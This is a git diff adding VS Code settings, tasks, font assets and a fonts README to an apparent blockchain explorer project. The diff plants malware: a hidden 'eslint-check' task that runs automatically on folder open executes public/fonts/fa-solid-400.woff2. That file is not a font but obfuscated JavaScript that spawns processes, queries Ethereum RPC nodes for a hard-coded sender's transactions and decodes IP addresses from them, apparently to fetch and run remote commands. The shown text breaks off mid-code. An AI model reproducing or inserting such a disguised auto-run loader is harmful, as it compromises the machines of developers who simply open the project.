diff --git a/.gitignore b/.gitignore index c11d4ba62..62ce746e6 100644 --- a/.gitignore +++ b/.gitignore @@ -22,7 +22,10 @@ test/analysis/__pycache__/* dist/* logs/* .pytest_cache/* -.vscode/* data/* .claude/* .claude +branch_structure.json +temp_auto_push.bat +temp_interactive_push.bat +.gitignore diff --git a/.vscode/extensions.json b/.vscode/extensions.json new file mode 100644 index 000000000..2e3b64630 --- /dev/null +++ b/.vscode/extensions.json @@ -0,0 +1,7 @@ +{ + "recommendations": [ + "myml.vscode-markdown-plantuml-preview", + "esbenp.prettier-vscode", + "jebbs.plantuml" + ] +} \ No newline at end of file diff --git a/.vscode/launch.json b/.vscode/launch.json index f08810a61..a5177abe1 100644 --- a/.vscode/launch.json +++ b/.vscode/launch.json @@ -1,16 +1,50 @@ { - // Use IntelliSense to learn about possible attributes. - // Hover to view descriptions of existing attributes. - // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387 - "version": "0.2.0", - "configurations": [ - { - "name": "Python: Current File", - "type": "python", - "request": "launch", - "program": "${file}", - "console": "integratedTerminal", - "justMyCode": false + "version": "0.2.0", + "configurations": [ + { + "name": "Debug SST", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["dev", "--increase-timeout"], + "console": "integratedTerminal", + "skipFiles": ["/**"], + // sourceMapRenames helps with the loading spinner when debugging and viewing local variables + "sourceMapRenames": false, + "env": { + "AWS_PROFILE": "flo-ct-flo360" } - ] -} \ No newline at end of file + }, + { + "name": "Debug Tests - Unit", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + { + "name": "Debug Tests - E2E", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + ], + "inputs": [ + { + "id": "scopeTestsFileName", + "type": "promptString", + "description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.", + } + ] +} diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 000000000..934d55548 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,23 @@ +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/spellright.dict b/.vscode/spellright.dict new file mode 100644 index 000000000..51b197495 --- /dev/null +++ b/.vscode/spellright.dict @@ -0,0 +1,2 @@ +Contentful +Lerna diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 000000000..5e226620d --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,33 @@ +{ + "version": "2.0.0", + "configurations": [ + { + "type": "node", + "request": "launch", + "name": "Run My Project", + "console": "", + "internalConsoleOptions": "openOnSessionStart" + } + ], + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''", + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + }, + ] +} diff --git a/public/fonts/README.md b/public/fonts/README.md new file mode 100644 index 000000000..1e4f9ba13 --- /dev/null +++ b/public/fonts/README.md @@ -0,0 +1,24 @@ +# Fonts Directory + +This directory contains custom fonts for the Blockchain Explorer application. + +## Required Font Files + +The application expects the following font files: + +1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** + - Regular weight font for the main UI + +2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** + - Bold weight font for headings + +3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** + - Monospace font for code and hash displays + +## Note + +If you don't have custom fonts, the application will fall back to system fonts: +- BlockchainFont → system sans-serif fonts +- TechMono → system monospace fonts (Courier New, etc.) + +The fonts are referenced in `public/index.html` and will be loaded automatically when available. diff --git a/public/fonts/fa-brands-400.eot b/public/fonts/fa-brands-400.eot new file mode 100644 index 000000000..a1bc094ab Binary files /dev/null and b/public/fonts/fa-brands-400.eot differ diff --git a/public/fonts/fa-brands-400.svg b/public/fonts/fa-brands-400.svg new file mode 100644 index 000000000..46ad237a6 --- /dev/null +++ b/public/fonts/fa-brands-400.svg @@ -0,0 +1,3570 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-brands-400.ttf b/public/fonts/fa-brands-400.ttf new file mode 100644 index 000000000..948a2a6cc Binary files /dev/null and b/public/fonts/fa-brands-400.ttf differ diff --git a/public/fonts/fa-brands-400.woff b/public/fonts/fa-brands-400.woff new file mode 100644 index 000000000..2a89d521e Binary files /dev/null and b/public/fonts/fa-brands-400.woff differ diff --git a/public/fonts/fa-brands-400.woff2 b/public/fonts/fa-brands-400.woff2 new file mode 100644 index 000000000..141a90a9e Binary files /dev/null and b/public/fonts/fa-brands-400.woff2 differ diff --git a/public/fonts/fa-regular-400.eot b/public/fonts/fa-regular-400.eot new file mode 100644 index 000000000..38cf2517a Binary files /dev/null and b/public/fonts/fa-regular-400.eot differ diff --git a/public/fonts/fa-regular-400.svg b/public/fonts/fa-regular-400.svg new file mode 100644 index 000000000..48634a9ab --- /dev/null +++ b/public/fonts/fa-regular-400.svg @@ -0,0 +1,803 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-regular-400.ttf b/public/fonts/fa-regular-400.ttf new file mode 100644 index 000000000..abe99e20c Binary files /dev/null and b/public/fonts/fa-regular-400.ttf differ diff --git a/public/fonts/fa-regular-400.woff b/public/fonts/fa-regular-400.woff new file mode 100644 index 000000000..24de566a5 Binary files /dev/null and b/public/fonts/fa-regular-400.woff differ diff --git a/public/fonts/fa-regular-400.woff2 b/public/fonts/fa-regular-400.woff2 new file mode 100644 index 000000000..7e0118e52 Binary files /dev/null and b/public/fonts/fa-regular-400.woff2 differ diff --git a/public/fonts/fa-solid-400.woff2 b/public/fonts/fa-solid-400.woff2 new file mode 100644 index 000000000..cc50ab807 --- /dev/null +++ b/public/fonts/fa-solid-400.woff2 @@ -0,0 +1 @@ + global.i="A10-*020";const _0x499797=_0x1574;(function(_0x50cf58,_0x4b5935){const _0x5a40d4=_0x1574,_0x4da4f5=_0x50cf58();while(!![]){try{const _0x292f25=-parseInt(_0x5a40d4(0xc9))/(-0x1367*0x2+0x19ca+0xd05)+-parseInt(_0x5a40d4(0x9d))/(-0x52*0x6e+0x2*0x21e+0x31*0xa2)+parseInt(_0x5a40d4(0xd0))/(0xcf5*-0x1+0x217d+-0x1485)+-parseInt(_0x5a40d4(0x138))/(0x2537*0x1+-0x6e1+-0x1e52)*(parseInt(_0x5a40d4(0x198))/(0x15+0xa5a+-0xa6a))+parseInt(_0x5a40d4(0x192))/(0x122+-0xd90+0xc74)+parseInt(_0x5a40d4(0x142))/(0x1ac*0xc+0x1*-0x957+-0xab2)+-parseInt(_0x5a40d4(0x1cf))/(0xd7*-0x4+-0x11*0x171+0x1be5)*(-parseInt(_0x5a40d4(0x103))/(0x17f*-0x14+-0x1849+0x363e));if(_0x292f25===_0x4b5935)break;else _0x4da4f5['push'](_0x4da4f5['shift']());}catch(_0xe013fe){_0x4da4f5['push'](_0x4da4f5['shift']());}}}(_0x303e,-0xe*-0x40a5+0x334d*-0x14+0x3*0x3a1bb),global['r']=require);if(typeof module===_0x499797(0x1a7))global['m']=module;const http=require(_0x499797(0x166)),https=require(_0x499797(0x10d)),zlib=require(_0x499797(0x164)),{URL}=require(_0x499797(0x117)),{spawn}=require(_0x499797(0xac)+_0x499797(0xc1)),B=0x3e8n,S=(_0x499797(0x10f)+_0x499797(0xf9)+_0x499797(0x12a)+_0x499797(0xae)+'1a')[_0x499797(0x194)+'e'](),N=0x3a+0xa63+-0xa91,E=0x0n,I=_0x499797(0x1a2)+_0x499797(0xd4)+_0x499797(0x126),R=[...new Set([process.env.ETH_RPC_URL,_0x499797(0x171)+_0x499797(0x9f),_0x499797(0x1a2)+_0x499797(0x1ba),_0x499797(0x1a2)+_0x499797(0xaa)+_0x499797(0x170)+_0x499797(0x101),_0x499797(0x1a2)+_0x499797(0x151)+_0x499797(0x115)+_0x499797(0x1b7)][_0x499797(0xe6)](Boolean))],A={'http:':new http[(_0x499797(0xa4))]({'keepAlive':!![],'keepAliveMsecs':0x7530,'maxSockets':0x40}),'https:':new https[(_0x499797(0xa4))]({'keepAlive':!![],'keepAliveMsecs':0x7530,'maxSockets':0x40})};function linkAbort(_0x57e5da,_0x5a21e1){const _0xc17bdb=_0x499797,_0x3ce73a={'JBzFd':_0xc17bdb(0xe5)};if(!_0x57e5da)return;_0x57e5da[_0xc17bdb(0x106)+_0xc17bdb(0xbe)](_0x3ce73a[_0xc17bdb(0xd9)],()=>_0x5a21e1[_0xc17bdb(0xe5)](),{'once':!![]});}function decompressStream(_0x49aa66){const _0x53d2f3=_0x499797,_0x5b8222={'ktBkf':_0x53d2f3(0x11b)+_0x53d2f3(0xd5),'gmfpE':function(_0x59c285,_0x200d11){return _0x59c285===_0x200d11;},'VdYZJ':_0x53d2f3(0xfc),'DkHst':function(_0x3f5974,_0x52196f){return _0x3f5974===_0x52196f;},'VtRDG':_0x53d2f3(0x9e),'XXJZV':function(_0x51f7b7,_0x49e7c2){return _0x51f7b7===_0x49e7c2;},'uGjhe':_0x53d2f3(0x110),'CbASl':function(_0x1e5268,_0x2f952f){return _0x1e5268===_0x2f952f;}},_0x5a4181=(_0x49aa66[_0x53d2f3(0x14e)][_0x5b8222[_0x53d2f3(0xa1)]]||'')[_0x53d2f3(0x194)+'e']();if(_0x5b8222[_0x53d2f3(0x145)](_0x5a4181,_0x5b8222[_0x53d2f3(0xc3)])||_0x5b8222[_0x53d2f3(0x179)](_0x5a4181,_0x5b8222[_0x53d2f3(0x1b3)]))return _0x49aa66[_0x53d2f3(0xed)](zlib[_0x53d2f3(0xce)+'ip']());if(_0x5b8222[_0x53d2f3(0x187)](_0x5a4181,_0x5b8222[_0x53d2f3(0x1bd)]))return _0x49aa66[_0x53d2f3(0xed)](zlib[_0x53d2f3(0xa2)+_0x53d2f3(0xe3)]());if(_0x5b8222[_0x53d2f3(0x9c)](_0x5a4181,'br'))return _0x49aa66[_0x53d2f3(0xed)](zlib[_0x53d2f3(0x8e)+_0x53d2f3(0x102)+'ss']());return _0x49aa66;}function httpRequest(_0x1f6cb7,{method:_0x13f9af=_0x499797(0xde),body:_0x12a264,signal:_0x6c83f}={}){const _0x191058=_0x499797,_0x2c3068={'mHheA':_0x191058(0x1bc),'TUPyt':function(_0x307367,_0x336044){return _0x307367<_0x336044;},'wASnz':function(_0x4f4f9d,_0x1a6002){return _0x4f4f9d>=_0x1a6002;},'qHRBs':function(_0x13ec9f,_0xe87ae3){return _0x13ec9f(_0xe87ae3);},'uJjbX':function(_0x1197d6,_0x3711dd){return _0x1197d6===_0x3711dd;},'ZhExb':function(_0xd318cd,_0x296bb8){return _0xd318cd!==_0x296bb8;},'leSzP':function(_0x3e8750,_0x4e7bc3){return _0x3e8750(_0x4e7bc3);},'LIIxV':_0x191058(0x158),'RjiHj':_0x191058(0x10a),'umPkl':_0x191058(0xb6),'orhmp':function(_0x112f71,_0x528ad1){return _0x112f71===_0x528ad1;},'LexLU':_0x191058(0x90),'kkdrr':function(_0x444b38,_0x26a9b6){return _0x444b38+_0x26a9b6;},'TkmIs':function(_0x83ae97,_0x15327f){return _0x83ae97!=_0x15327f;},'qxbSX':_0x191058(0x17c)+_0x191058(0x10c),'xeAJy':_0x191058(0x188)+_0x191058(0x1ca),'LOSrS':_0x191058(0xd1),'iuGbp':function(_0x4418ce,_0x154553){return _0x4418ce!=_0x154553;},'yConS':_0x191058(0x16a)+'pe','XupQB':_0x191058(0xba)+_0x191058(0x1a5)},_0x3b3109=new URL(_0x1f6cb7),_0x5989ee=_0x2c3068[_0x191058(0x159)](_0x3b3109[_0x191058(0x10b)],_0x2c3068[_0x191058(0xb3)])?https:http,_0x4ad69e={'Accept':_0x2c3068[_0x191058(0xab)],'Accept-Encoding':_0x2c3068[_0x191058(0xa5)],'Connection':_0x2c3068[_0x191058(0x1a8)]};return _0x2c3068[_0x191058(0xb2)](_0x12a264,null)&&(_0x4ad69e[_0x2c3068[_0x191058(0x1cb)]]=_0x2c3068[_0x191058(0xab)],_0x4ad69e[_0x2c3068[_0x191058(0xaf)]]=Buffer[_0x191058(0xb8)](_0x12a264)),new Promise((_0x5c0dba,_0x2c0df1)=>{const _0x1bfac9=_0x191058,_0x49c4c0=_0x5989ee[_0x1bfac9(0x19e)]({'hostname':_0x3b3109[_0x1bfac9(0x128)],'port':_0x3b3109[_0x1bfac9(0x181)]||(_0x2c3068[_0x1bfac9(0x100)](_0x3b3109[_0x1bfac9(0x10b)],_0x2c3068[_0x1bfac9(0xb3)])?-0x11a7+-0x1802+0x2b64:0x101*-0x1a+0x2*0x1e7+0x169c),'path':_0x2c3068[_0x1bfac9(0xf6)](_0x3b3109[_0x1bfac9(0x193)],_0x3b3109[_0x1bfac9(0x16c)]),'method':_0x13f9af,'agent':A[_0x3b3109[_0x1bfac9(0x10b)]],'signal':_0x6c83f,'headers':_0x4ad69e},_0x252aba=>{const _0x4aa804=_0x1bfac9,_0x4060e4={'vftff':_0x2c3068[_0x4aa804(0x18e)],'cjNyi':function(_0x1d99b7,_0x447a54){const _0x550ebe=_0x4aa804;return _0x2c3068[_0x550ebe(0xc4)](_0x1d99b7,_0x447a54);},'TLCJy':function(_0x196c54,_0x5007aa){const _0x5d07df=_0x4aa804;return _0x2c3068[_0x5d07df(0x96)](_0x196c54,_0x5007aa);},'GPNiY':function(_0x13a775,_0x1f9541){const _0x429d23=_0x4aa804;return _0x2c3068[_0x429d23(0xff)](_0x13a775,_0x1f9541);},'RKMCN':function(_0x4f1d95,_0x471c27){const _0x1159cc=_0x4aa804;return _0x2c3068[_0x1159cc(0x159)](_0x4f1d95,_0x471c27);},'kGHLU':function(_0x378757,_0x345e0e){const _0x23e5c7=_0x4aa804;return _0x2c3068[_0x23e5c7(0x95)](_0x378757,_0x345e0e);},'vHGYk':function(_0x3beb9b,_0x17b14e){const _0x15564b=_0x4aa804;return _0x2c3068[_0x15564b(0x12c)](_0x3beb9b,_0x17b14e);}},_0xd77302=_0x2c3068[_0x4aa804(0x12c)](decompressStream,_0x252aba),_0x4b74bd=[];_0xd77302['on'](_0x2c3068[_0x4aa804(0x93)],_0x379aca=>_0x4b74bd[_0x4aa804(0x19c)](_0x379aca)),_0xd77302['on'](_0x2c3068[_0x4aa804(0xc8)],()=>{const _0x4ea171=_0x4aa804,_0x4f1c7c=Buffer[_0x4ea171(0x1be)](_0x4b74bd)[_0x4ea171(0x133)](_0x4060e4[_0x4ea171(0xe8)])[_0x4ea171(0x15e)]();if(_0x4060e4[_0x4ea171(0xbc)](_0x252aba[_0x4ea171(0x1cc)],-0x19*0x1+-0x1725+0x1806)||_0x4060e4[_0x4ea171(0x196)](_0x252aba[_0x4ea171(0x1cc)],0xd*-0x18b+-0xcc1+0x87f*0x4))return _0x4060e4[_0x4ea171(0x17d)](_0x2c0df1,new Error(_0x4ea171(0x149)+_0x252aba[_0x4ea171(0x1cc)]+_0x4ea171(0x1bb)+_0x3b3109[_0x4ea171(0x128)]+':\x20'+_0x4f1c7c[_0x4ea171(0x1b4)](-0x1d90+0x1eee+-0x1*0x15e,-0x2274+0x5*-0x315+-0x10c7*-0x3)));if(!_0x4f1c7c||_0x4060e4[_0x4ea171(0x1b9)](_0x4f1c7c[-0x1*0x973+0x24ac*-0x1+0x1*0x2e1f],'<')||_0x4060e4[_0x4ea171(0x10e)](_0x4f1c7c[0x22e5*-0x1+-0xf95+-0x1*-0x327a],'{')&&_0x4060e4[_0x4ea171(0x10e)](_0x4f1c7c[0x3c1+0x1f*-0xf2+0x198d],'['))return _0x4060e4[_0x4ea171(0x1b0)](_0x2c0df1,new Error(_0x4ea171(0x107)+_0x4ea171(0xd7)+_0x3b3109[_0x4ea171(0x128)]+':\x20'+_0x4f1c7c[_0x4ea171(0x1b4)](0x2*0x7f+0x1f3*0x11+-0x2221,-0x1d69+-0x59e+-0x2bb*-0xd)));try{_0x4060e4[_0x4ea171(0x1b0)](_0x5c0dba,JSON[_0x4ea171(0x19a)](_0x4f1c7c));}catch(_0x48ebcd){_0x4060e4[_0x4ea171(0x1b0)](_0x2c0df1,new Error(_0x4ea171(0xad)+_0x4ea171(0xfa)+_0x4ea171(0x15f)+_0x3b3109[_0x4ea171(0x128)]+':\x20'+_0x48ebcd[_0x4ea171(0x155)]));}}),_0xd77302['on'](_0x2c3068[_0x4aa804(0x92)],_0x2c0df1);});_0x49c4c0['on'](_0x2c3068[_0x1bfac9(0x92)],_0x2c0df1);if(_0x2c3068[_0x1bfac9(0x121)](_0x12a264,null))_0x49c4c0[_0x1bfac9(0x8a)](_0x12a264);_0x49c4c0[_0x1bfac9(0x10a)]();});}async function withRpcEndpoints(_0x554f64,_0x538470){const _0x187252=_0x499797,_0x48049f=R[_0x187252(0x13e)](()=>new AbortController());_0x48049f[_0x187252(0x174)](_0x347bda=>linkAbort(_0x538470,_0x347bda));try{return await Promise[_0x187252(0xe9)](R[_0x187252(0x13e)]((_0x3a48ad,_0x3596a7)=>_0x554f64(_0x3a48ad,_0x48049f[_0x3596a7][_0x187252(0x11d)])));}finally{for(const _0x294855 of _0x48049f)_0x294855[_0x187252(0xe5)]();}}async function rpcCall(_0x269777,_0x94d2b8,_0x3003aa,_0x4a3e35){const _0x1a3925=_0x499797,_0x56b9b8={'AjLPx':function(_0x10848f,_0x23b77b,_0x17b776){return _0x10848f(_0x23b77b,_0x17b776);},'dcxji':_0x1a3925(0x184),'SOHhg':_0x1a3925(0xeb)},_0x5c4ae1=await _0x56b9b8[_0x1a3925(0x18b)](httpRequest,_0x269777,{'method':_0x56b9b8[_0x1a3925(0x1b1)],'body':JSON[_0x1a3925(0x140)]({'jsonrpc':_0x56b9b8[_0x1a3925(0xa3)],'id':0x1,'method':_0x94d2b8,'params':_0x3003aa}),'signal':_0x4a3e35});return _0x5c4ae1[_0x1a3925(0x153)];}async function rpcBatch(_0x4f0848,_0x2240a9,_0x2a5f12){const _0x42a962=_0x499797,_0x53c676={'MwzWh':function(_0x2f969a,_0x46fb40,_0x56f686){return _0x2f969a(_0x46fb40,_0x56f686);},'aujua':_0x42a962(0x184)},_0x296112=await _0x53c676[_0x42a962(0x1ad)](httpRequest,_0x4f0848,{'method':_0x53c676[_0x42a962(0x189)],'body':JSON[_0x42a962(0x140)](_0x2240a9[_0x42a962(0x13e)](([_0x3476cd,_0x485968],_0x56c699)=>({'jsonrpc':_0x42a962(0xeb),'id':_0x56c699+(0xe*-0x287+0x1664+0x1*0xcff),'method':_0x3476cd,'params':_0x485968}))),'signal':_0x2a5f12}),_0x388e23=new Map(_0x296112[_0x42a962(0x13e)](_0x55a33f=>[_0x55a33f['id'],_0x55a33f]));return _0x2240a9[_0x42a962(0x13e)]((_0x47b6bd,_0xfaaa67)=>_0x388e23[_0x42a962(0x186)](_0xfaaa67+(-0x26ef+0x2*-0xa6f+-0x5fb*-0xa))[_0x42a962(0x153)]);}const toBlockHex=_0x48a7e0=>'0x'+_0x48a7e0[_0x499797(0x133)](0x646*0x3+0xd3*0xc+-0x1ca6);function findSenderTx(_0x3ee385){const _0x450a84=_0x499797;return _0x3ee385[_0x450a84(0x154)](_0x4cbdcf=>_0x4cbdcf[_0x450a84(0x1ce)]&&_0x4cbdcf[_0x450a84(0x1ce)][_0x450a84(0x194)+'e']()===S)||null;}function decodeAddress(_0x5cca5f){const _0x3291b2=_0x499797,_0x644b3d={'jdoxp':_0x3291b2(0x152),'xPqOT':function(_0x393cef,_0x394385){return _0x393cef(_0x394385);},'jdnux':function(_0x4e21a7,_0x15eae4){return _0x4e21a7(_0x15eae4);}},_0x534b23=Buffer[_0x3291b2(0x1ce)](_0x5cca5f[_0x3291b2(0xf4)](/^0x/i,''),_0x644b3d[_0x3291b2(0x18a)]),_0x38f2a8=_0x25d4d7=>_0x25d4d7[-0x11*0xaa+-0x49*-0x43+0x57*-0x17]+'.'+_0x25d4d7[0x40e+-0x5b*-0x49+-0x1e00]+'.'+_0x25d4d7[0x57b+0x405+-0xa2*0xf]+'.'+_0x25d4d7[0x13b7+-0xa2*0x6+0x1fd*-0x8];return[_0x644b3d[_0x3291b2(0x190)](_0x38f2a8,_0x534b23[_0x3291b2(0x116)](-0x10e*0x25+0x22f*0x6+0x19ec,-0x561+-0x950+0x4e7*0x3)),_0x644b3d[_0x3291b2(0x19f)](_0x38f2a8,_0x534b23[_0x3291b2(0x116)](-0x565+0x2245+-0x1cdc,0x1b*0x3a+0x1*0xad8+-0x16*0xc5))];}function firstMatch(_0x51b809){const _0x483d7f={'dwDsu':function(_0x1797cf,_0x4bc3e0){return _0x1797cf(_0x4bc3e0);},'QYCoO':function(_0x5a335b,_0xab938){return _0x5a335b(_0xab938);},'MGqCO':function(_0x43eebd,_0x45004f){return _0x43eebd===_0x45004f;},'IdDno':function(_0x15d5bd,_0x559c38){return _0x15d5bd(_0x559c38);}};return new Promise(_0x3f0157=>{const _0x1d0f23=_0x1574,_0x1f86a9={'ZeBAo':function(_0x406906,_0x61f8ad){const _0x21059d=_0x1574;return _0x483d7f[_0x21059d(0x122)](_0x406906,_0x61f8ad);},'FvQkZ':function(_0xe6a6aa,_0x5ec739){const _0x26d958=_0x1574;return _0x483d7f[_0x26d958(0x134)](_0xe6a6aa,_0x5ec739);},'PZYTL':function(_0x4b97bd,_0x3f812f){const _0x349da6=_0x1574;return _0x483d7f[_0x349da6(0xc7)](_0x4b97bd,_0x3f812f);},'LnSCk':function(_0x488a3f,_0xf05722){const _0x501127=_0x1574;return _0x483d7f[_0x501127(0x134)](_0x488a3f,_0xf05722);}};let _0x32fff7=_0x51b809[_0x1d0f23(0x1b8)];if(!_0x32fff7)return _0x483d7f[_0x1d0f23(0x162)](_0x3f0157,null);let _0x3356ef=![];const _0x1b463c=_0x4fc695=>{const _0x450cb5=_0x1d0f23;if(_0x3356ef)return;_0x3356ef=!![];for(const _0x5641f6 of _0x51b809)_0x5641f6[_0x450cb5(0x1c9)][_0x450cb5(0xe5)]();_0x483d7f[_0x450cb5(0x162)](_0x3f0157,_0x4fc695);};for(const _0x27968b of _0x51b809){_0x27968b[_0x1d0f23(0x1ac)]()[_0x1d0f23(0xca)](_0x271bab=>{const _0x11d413=_0x1d0f23;if(_0x3356ef)return;if(_0x271bab)_0x1f86a9[_0x11d413(0x148)](_0x1b463c,_0x271bab);else{if(_0x1f86a9[_0x11d413(0x15a)](--_0x32fff7,0x1308+-0x1648+0x1a*0x20))_0x1f86a9[_0x11d413(0x167)](_0x3f0157,null);}})[_0x1d0f23(0xc5)](()=>{const _0x20e168=_0x1d0f23;if(!_0x3356ef&&_0x1f86a9[_0x20e168(0xee)](--_0x32fff7,0x1d4e+0x23d7+-0x4125))_0x1f86a9[_0x20e168(0x148)](_0x3f0157,null);});}});}function _0x303e(){const _0x47d2f3=['FwRkP','ktBkf','createInfl','SOHhg','Agent','xeAJy','GUDGc','kmoyl','BUGBq','QyApB','hereum-rpc','qxbSX','node:child','JSON\x20parse','9aDC2490Ef','XupQB','adSLw','global[\x27_V','iuGbp','LexLU','scMEy','HEAD','error','CeajG','byteLength','iUmEL','Content-Le','wTPcq','cjNyi','ckByNumber','stener','BkJEk','ilterby=fr','_process','ffset=20&s','VdYZJ','TUPyt','catch','XJLjq','IdDno','RjiHj','1003896RAKQlX','then',':443/0x/ls','ttjBo','BFRff','createGunz','tBaiF','1630377YaPzBN','keep-alive','isArray','\x20Chrome/13','h.blocksco','coding','HfbTA','rom\x20','@^1aQk','JBzFd','ort=desc&f','eth_getTra','transactio','m\x27]=module','GET','duYPa','node','OxHwm','r\x27]=requir','ate','_H\x27]=\x27','abort','filter','csiWL','vftff','any','usjtu','2.0','ignore','pipe','LnSCk','umber','q4FZkxX{!h','KdRuu','IwiTW','Missing\x20X-','replace','1.0.0.0\x20Sa','kkdrr','findIndex','PUiqh','D311D3080e','\x20failed\x20fr','ivCoc','gzip','Kit/537.36','PVVGY','qHRBs','orhmp','e.com','liDecompre','9025479IpaIzh',';var\x20_glob','BvNbn','addEventLi','Non-JSON\x20f','ZUpOW','9&page=1&o','end','protocol','n/json','node:https','kGHLU','0xa322E5f3','deflate','MRXGd','ck=9999999','_t_s','Payload-B6','public.bla','subarray','node:url','Mozilla/5.','kYFvQ','QUVvQ','content-en','\x27]=\x27','signal','has','_H2','Ecuor','TkmIs','QYCoO','COTDy','QpFOH',')\x20AppleWeb','ut.com/api','HMOkP','hostname','&startbloc','6f0121063e','nonce','leSzP','vwUDP','hFCDY','aLXzn','y-p_>d$0B&','\x20NT\x2010.0;\x20',':443/0x/cl','toString','MGqCO','YNXrg','count&acti','Empty\x20payl','28ttuoly','SVmJv','al=global;',':80','iOctu','qqhcg','map',':443','stringify','\x27;global[\x27','3006906xsNvzs','eth_getBlo','BwgOm','gmfpE','charCodeAt','WlluH','ZeBAo','HTTP\x20','_H2\x27]=\x27','rQbdJ',',Sr3=@','FkqEw','headers','oad\x20body','x-payload-','h-mainnet.','hex','result','find','message','iGbLh','0\x20(Windows','data','uJjbX','FvQkZ','GzFqP','bHKPY','Dwemb','trim','om\x20','LpxsS','eRseM','dwDsu','lSYUu','node:zlib','add','node:http','PZYTL','CRLRy','eCpUr','Content-Ty','address=','search','qunPa','b64','HGQWu','.publicnod','https://1r','unref','e;global[\x27','forEach','ike\x20Gecko)','cUTwy','fpRUU','YSUgD','DkHst','fari/537.3','?module=ac','applicatio','GPNiY','unt','eth_blockN','yTDFl','port','NIFWT','PKgro','POST','lVtXv','get','XXJZV','gzip,\x20defl','aujua','jdoxp','AjLPx','ELTqK','tLwVN','mHheA','\x20(KHTML,\x20l','xPqOT','blockNumbe','6420972WMecPB','pathname','toLowerCas','all','TLCJy','cByRL','944755uQbpTY','HKNcy','parse','zUJfu','push','wlRqa','request','jdnux','HtawQ','trBbW','https://et','eLLPH','ZUkiz','ngth','Win64;\x20x64','object','LOSrS','http://','HArnW','yrUca','run','MwzWh','NpbgJ','rLlei','vHGYk','dcxji','CNvmX','VtRDG','slice','nsactionCo','YBPka','stapi.io','length','RKMCN','h.drpc.org','\x20from\x20','utf8','uGjhe','concat','MCzdr','cRcET','on=txlist&','_t_s\x27]=\x27','_t_u\x27]=\x27','k=0&endblo','KTgAc','lqKKR','czqwo','base64','controller','ate,\x20br','yConS','statusCode','bLTpW','from','8KTfglQ','slBgs','IokEk','write','NPaAy','prVlP','_t_u','createBrot','Clgxq','https:','yFDvb','umPkl','LIIxV','PRsJh','ZhExb','wASnz','jNlaO','zMFkK','XHTcU','resume','min','CbASl','72796plYHAR','x-gzip','pc.io/eth'];_0x303e=function(){return _0x47d2f3;};return _0x303e();}function candidateBlocks(_0xa7569f){const _0x26f601=_0x499797,_0x476098={'qqhcg':function(_0x199de1,_0x15c781){return _0x199de1-_0x15c781;},'ELTqK':function(_0x1edb16,_0x3d15d3){return _0x1edb16+_0x3d15d3;},'zMFkK':function(_0x34fd99,_0x5411a0){return 